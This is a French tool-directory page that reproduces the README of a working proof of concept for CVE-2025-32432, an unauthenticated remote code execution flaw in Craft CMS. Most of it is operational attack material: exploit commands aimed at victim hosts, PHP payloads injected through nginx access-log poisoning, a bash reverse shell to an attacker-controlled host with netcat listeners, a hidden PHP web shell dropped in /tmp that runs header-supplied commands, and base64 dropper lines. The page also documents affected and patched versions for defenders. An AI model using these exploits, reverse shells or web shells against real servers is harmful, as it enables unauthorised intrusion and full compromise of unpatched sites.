Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-32432 — PoC fonctionnel pour CVE-2025-32432 - Craft CMS <= 5.6.16 RCE non authentifié via le gadget Yii2 PhpManager + empoisonnement du journal access.log de nginx | Kitploit
Outils/GitHubGitHub/cd-ratel/cve-2025-32432
Analyse des VulnérabilitésExploitationExploitation d'Applications WebCTFTests d'IntrusionApprentissage et ÉducationDéveloppement de Charges Utiles
GitHubcd-ratel/cve-2025-32432

CVE-2025-32432

PoC fonctionnel pour CVE-2025-32432 - Craft CMS <= 5.6.16 RCE non authentifié via le gadget Yii2 PhpManager + empoisonnement du journal access.log de nginx

Voir le dépôt
214il y a 3 moisPas encore vérifié
Site web

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2025-32432 - PoC d'exécution de code à distance non authentifiée sur Craft CMS

Preuve de concept fonctionnelle pour CVE-2025-32432, une vulnérabilité d'exécution de code à distance non authentifiée dans Craft CMS versions jusqu'à et y compris 5.6.16 (affecte également les branches 4.x et 3.x sur des chemins de code équivalents).

Mots-clés de recherche : CVE-2025-32432, Craft CMS RCE, Craft 5.6.16 exploit, Yii2 PhpManager gadget, craftcms generate-transform, Component::__set as behavior, nginx log poisoning Craft, unauth RCE craftcms 2025.


En résumé

root@kitploit:~
git clone https://github.com/cd-ratel/CVE-2025-32432
cd CVE-2025-32432
pip install -r requirements.txt
python3 exploit.py -u http://victim.tld -c 'id'

Le mode par défaut cible les installations Craft CMS standards. Un drapeau --lab est inclus pour le défi carangueijada-20 du projet hacklab-platform, qui protège Craft derrière un cookie de session personnalisé.


Vulnérabilité

Composant affecté : craft\controllers\AssetsController::actionGenerateTransform.

L'action est enregistrée comme allowAnonymous, donc aucune authentification n'est nécessaire. Elle accepte un paramètre POST handle qui est ensuite décomposé dans un appel à Craft::createObject() :

root@kitploit:~
$transform = Craft::createObject([
    'class' => ImageTransform::class,
    ...$handle,
]);

Lorsque $handle est un tableau associatif sous le contrôle de l'attaquant, la décomposition injecte des clés arbitraires dans la configuration du constructeur. En particulier, une clé commençant par as est interprétée par yii\base\Component::__set comme un attachement de comportement, qui appelle Yii::createObject($config) sur la valeur avant toute vérification de type :

root@kitploit:~
elseif (strncmp($name, 'as ', 3) === 0) {
    $name = trim(substr($name, 3));
    $this->attachBehavior(
        $name,
        $value instanceof Behavior ? $value : Yii::createObject($value),
    );
    return;
}

Le correctif de Yii2 dans la version 2.0.50 a ajouté une vérification is_subclass_of($value['class'], Behavior::class) protégeant cette branche ; les installations vulnérables (Yii2 <= 2.0.49, ou une vérification précédemment supprimée) ignorent complètement la protection.

Gadget : yii\rbac\PhpManager

PhpManager est une classe standard de Yii2. Sa méthode init() appelle load(), qui appelle loadFromFile($this->itemFile). loadFromFile est littéralement :

root@kitploit:~
protected function loadFromFile($file)
{
    if (is_file($file)) {
        return require $file;
    }
    return [];
}

require analyse tout fichier sur le disque comme du PHP. Si le fichier contient un bloc <?php ... ?>, ce bloc s'exécute dans le processus worker. En pointant itemFile vers un fichier dont l'attaquant contrôle le contenu, une RCE complète est obtenue.

Sink : access.log de nginx

Le sink fiable pour toutes les installations est le access.log au format combiné de nginx. Il enregistre le User-Agent de la requête textuellement, y compris les caractères non imprimables et la plupart des signes de ponctuation. En envoyant une requête dont le User-Agent est <?php system('id'); exit; ?>, l'attaquant place un bloc PHP à un chemin connu. Pointer itemFile vers /var/log/nginx/access.log puis require le journal exécute chaque bloc <?php ... ?> dans l'ordre.

Deux subtilités importantes :

  1. Pas de guillemets doubles dans la charge utile. nginx échappe " en \x22 dans le format combiné, ce qui casse l'analyse PHP de la ligne. Utilisez des guillemets simples ou la concaténation chr().
  2. exit; à la fin pour que require s'arrête avant d'analyser les lignes suivantes du journal qui peuvent contenir d'autres charges utiles malformées.

Versions affectées

ComposantVulnérableCorrigé
Craft CMS<= 5.6.165.6.17
Craft CMS<= 4.15.24.15.3
Craft CMS<= 3.9.143.9.15
Yii2<= 2.0.492.0.50

Craft 5.6.17 ajoute une vérification ImageTransformerInterface sur la classe de transformation. Yii2 2.0.50 ajoute une vérification de sous-classe Behavior dans Component::__set. Chacun de ces correctifs bloque cette chaîne de gadgets spécifique.


Prérequis

  • Python 3.8+
  • Bibliothèque requests (pip install -r requirements.txt)
  • Accessibilité réseau vers le point de terminaison HTTP(S) cible
  • Un assetId Craft valide sur la cible. Par défaut 2 ; à remplacer par -a <id> si nécessaire (l'ID d'asset 1 est généralement l'avatar de l'administrateur).

Utilisation

Craft CMS standard

root@kitploit:~
python3 exploit.py -u http://victim.tld -c 'id'

Craft monté sous un préfixe de chemin

root@kitploit:~
python3 exploit.py -u http://victim.tld -p /cms -c 'id'

ID d'asset personnalisé

root@kitploit:~
python3 exploit.py -u http://victim.tld -a 42 -c 'cat /etc/passwd'

itemFile personnalisé (chemin de journal différent, session FPM, etc.)

root@kitploit:~
python3 exploit.py -u http://victim.tld \
                   -i /var/log/apache2/access.log \
                   -c 'id'

Mode laboratoire (défi carangueijada-20)

Le laboratoire carangueijada-20 du projet hacklab-platform protège l'installation Craft derrière un cookie coopsess émis par PATCH /login. Le drapeau --lab gère cette négociation automatiquement.

root@kitploit:~
python3 exploit.py --lab \
                   -u http://www.carangueijada.coop:3230/x9k4m2nf0y7p3q/ \
                   -c 'id; uname -a'

Assurez-vous que www.carangueijada.coop résout l'IP du laboratoire (ajoutez à /etc/hosts si nécessaire).

Shell inversé

Le drapeau --revshell envoie un connect-back bash -i >& /dev/tcp/<lhost>/<lport> 0>&1, exécuté en arrière-plan pour que la requête POST du gadget retourne instantanément.

Flux à deux terminaux (le plus fiable) :

root@kitploit:~
# terminal 1 - écouteur sur votre machine
nc -lvnp 4444

# terminal 2 - lancez l'exploit
python3 exploit.py -u http://victim.tld \
                   --revshell --lhost 1.2.3.4 --lport 4444

Flux à un terminal avec écouteur intégré :

root@kitploit:~
python3 exploit.py -u http://victim.tld \
                   --revshell --lhost 1.2.3.4 --lport 4444 \
                   --auto-listen

--auto-listen lance nc -lvnp <lport> dans le même terminal avant d'envoyer la charge utile. Ctrl+C pour quitter une fois terminé.

Exemple de session (laboratoire) :

root@kitploit:~
$ python3 exploit.py --lab \
    -u http://www.carangueijada.coop:3230/x9k4m2nf0y7p3q/ \
    --revshell --lhost 10.200.0.20 --lport 4444
[*] Charge utile du shell inversé -> 10.200.0.20:4444
[!] Sur VOTRE machine, exécutez d'abord : nc -lvnp 4444
[*] Attente de 3s (donne le temps à votre écouteur de se lier)...
[*] Mode laboratoire : PATCH /login pour obtenir le cookie coopsess
[*]     Cookie coopsess acquis
[*] Vérification de l'existence du wrapper à /tmp/.cve32432_w.php
[*] Déclenchement du gadget (assetId=2 itemFile=/tmp/.cve32432_w.php)
[*]     HTTP 200
[*] Shell inversé envoyé.

# dans l'écouteur :
Connection received on 10.10.99.20 56498
bash: cannot set terminal process group (149): Inappropriate ioctl for device
bash: no job control in this shell
www-data@carangueijada:~/craft/web$

Stabilisation du shell (après connexion, exécutez à l'intérieur du shell inversé) :

root@kitploit:~
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z pour mettre nc en arrière-plan
stty raw -echo; fg
# Appuyez deux fois sur Entrée
export TERM=xterm; export SHELL=/bin/bash
stty rows 50 cols 200

Comment fonctionne l'idempotence

Lors de la première exécution, l'exploit empoisonne access.log une fois pour déposer un wrapper PHP caché à /tmp/.cve32432_w.php. Le wrapper lit l'en-tête HTTP X-Cmd et exécute system($_SERVER['HTTP_X_CMD']). Chaque envoi ultérieur pointe itemFile vers le fichier wrapper et passe la commande via un en-tête. Plus d'empoisonnement, plus de pollution du journal, plus d'échecs du type "le premier bloc <?php exit; gagne".

Si vous voulez forcer une redéposition, supprimez /tmp/.cve32432_w.php sur la cible (vous pouvez le faire via le wrapper lui-même : --cmd 'rm /tmp/.cve32432_w.php').


Exemple de sortie

Exécution réussie contre une cible fraîche :

root@kitploit:~
[*] Récupération du jeton CSRF depuis http://target.tld/actions/users/session-info
[*]     CSRF : 5dQ0xRq9OAAaiHzaLZ0...
[*] Empoisonnement de access.log via User-Agent (longueur=508)
[*]     requête d'empoisonnement -> HTTP 200
[*] Déclenchement du gadget (assetId=2 itemFile=/var/log/nginx/access.log)
[*]     HTTP 200
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Linux victim 6.1.0-13-amd64 #1 SMP Debian 6.1.55-1 x86_64 GNU/Linux

Recours en cas de journal pollué (la cible a déjà été exploitée, une charge utile plus ancienne se termine avant la vôtre) :

root@kitploit:~
[!] Marqueurs non trouvés ; le journal semble pollué par un empoisonnement antérieur.
[!] Repli sur l'extraction de la fin du corps. La sortie ci-dessous provient
[!] du PREMIER bloc <?php dans le journal (probablement une ancienne charge utile).
--- sortie de repli (peut être obsolète) ---
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Comment la chaîne s'exécute réellement

  1. POST /actions/assets/generate-transform atteint AssetsController::actionGenerateTransform.
  2. Le gestionnaire construit $config = ['class' => ImageTransform::class, ...$handle]. Notre handle[as gadget] survit à la décomposition.
  3. Craft::createObject($config) appelle Yii::$container->get(ImageTransform::class, [], $config), ce qui instancie ImageTransform et écrit chaque clé de configuration restante via $transform->{$key} = $value.
  4. Quand l'analyseur atteint as gadget, Component::__set correspond au préfixe as et appelle Yii::createObject(['class' => 'yii\\rbac\\PhpManager', 'itemFile' => '/var/log/nginx/access.log']).
  5. Yii::createObject construit PhpManager, exécute __construct() puis init().
  6. PhpManager::init() -> load() -> loadFromFile($this->itemFile) -> require '/var/log/nginx/access.log'.
  7. PHP analyse le fichier journal. Le texte non PHP est affiché sur stdout (ce qui se retrouve dans le corps de la réponse HTTP). Les blocs <?php ... ?> s'exécutent dans le processus worker.
  8. Notre charge utile plantée exécute system($cmd) et exit;. La sortie apparaît dans le corps de la réponse à l'endroit où se trouvait textuellement le bloc <?php.

Dépannage

SymptômeCauseCorrectif
HTTP 400 + "could not verify your data submission" / "Pedido invalido"Le jeton CSRF n'est pas lié au cookie utilisé dans le POSTLe script utilise une seule requests.Session ; si vous réimplémentez, assurez-vous que le cookie jar conserve CRAFT_CSRF_TOKEN entre session-info et le POST.
HTTP 403 sur /actions/...Préfixe de chemin ou vhost erronéUtilisez -p /prefix pour correspondre à l'endroit où Craft est monté ; assurez-vous que l'en-tête Host correspond à l'installation.
csrfTokenValue vide / session-info renvoie du HTMLMauvais en-tête AcceptLe script envoie déjà Accept: application/json ; si vous le supprimez, remettez-le.
La sortie n'affiche jamais votre commandeaccess.log contient déjà une charge utile <?php ... exit; ?> plus ancienne qui s'exécute en premierFaites tourner/tronquez le journal sur la cible. Si vous n'avez qu'un RCE en tant qu'id, attendez la prochaine rotation du journal, ou passez par un fichier PHP accessible en écriture (par ex. /tmp/wrapper.php avec system($_SERVER['HTTP_X_CMD']);) et utilisez-le comme itemFile pour la suite.
assetId not foundMauvais ID pour cette installationParcourez les URL publiques des assets pour énumérer les IDs, ou essayez -a 1 puis -a 3..N.
Cible patchéeCraft >= 5.6.17 ou Yii2 >= 2.0.50La chaîne est bloquée ; soit trouvez une autre classe vulnérable, soit passez à autre chose.
La charge utile déclenche une erreur PHP fataleLes anciennes entrées de journal contiennent du PHP malformé qui casse l'analyseur avant votre blocMême correctif que pour le journal pollué : faites tourner le journal.

Contournement pour journal pollué (sans accès administrateur)

Si vous ne pouvez exécuter que id de manière fiable (car un ancien empoisonnement exit; a verrouillé la chaîne), une solution viable est de faire en sorte que cette unique commande de type id écrive un wrapper PHP dans un chemin que vous contrôlez, puis changez itemFile vers ce chemin pour toutes les requêtes suivantes :

root@kitploit:~
# empoisonnement unique avec une commande qui dépose /tmp/w.php en tant que www-data
WRAPPER='<?php system($_SERVER["HTTP_X_CMD"]);exit;?>'
B64=$(printf %s "$WRAPPER" | base64 -w0)
CMD="echo $B64|base64 -d > /tmp/w.php"
# encodez CMD en chr() ...

Ensuite, appelez :

root@kitploit:~
python3 exploit.py -u http://victim.tld \
                   -i /tmp/w.php \
                   -c 'whoami'

Chaque envoi ultérieur lit /tmp/w.php (un fichier PHP propre sans rien avant notre charge utile) et exécute la commande depuis l'en-tête X-Cmd. Adaptez le script si vous voulez en faire un mode intégré.


Fichiers

root@kitploit:~
.
├── exploit.py        # le PoC
├── README.md         # ce fichier
├── requirements.txt  # dépendances Python (juste `requests`)
└── LICENSE           # MIT

Références

  • Entrée de la base de connaissances Craft CMS : https://craftcms.com/knowledge-base/craft-cms-cve-2025-32432
  • Avis de sécurité GitHub (GHSA-f3gw-9ww9-jmc3) : https://github.com/craftcms/cms/security/advisories/GHSA-f3gw-9ww9-jmc3
  • Analyse de campagne in-the-wild par SensePost : https://sensepost.com/blog/2025/investigating-an-in-the-wild-campaign-using-rce-in-craftcms/
  • NVD : https://nvd.nist.gov/vuln/detail/CVE-2025-32432
  • Component.php de Yii2 (révision vulnérable) : https://github.com/yiisoft/yii2/blob/2.0.49/framework/base/Component.php
  • Correctif Yii2 (2.0.50) : https://github.com/yiisoft/yii2/pull/19938
  • Commit Craft CMS corrigeant 5.6.17 : https://github.com/craftcms/cms/commit (recherchez "ImageTransformerInterface" vers 2025-04-09)
  • Injection dans les logs OWASP : https://owasp.org/www-community/attacks/Log_Injection
  • HackTricks LFI vers RCE via logs nginx : https://book.hacktricks.xyz/pentesting-web/file-inclusion/lfi2rce-via-nginx-log

Avertissement

Cette preuve de concept est publiée à des fins de recherche défensive, d'utilisation éducative et de tests de pénétration autorisés uniquement. L'exécuter contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation écrite de test est illégal dans la plupart des juridictions. L'auteur n'accepte aucune responsabilité en cas d'utilisation abusive.

Si vous maintenez une installation Craft CMS, mettez à jour vers 5.6.17 ou ultérieur (ou la version corrigée correspondante 4.x / 3.x). La vulnérabilité est trivialement exploitable et a été utilisée dans des campagnes réelles documentées par SensePost.

Licence

MIT. Voir LICENSE.

Télécharger l’outil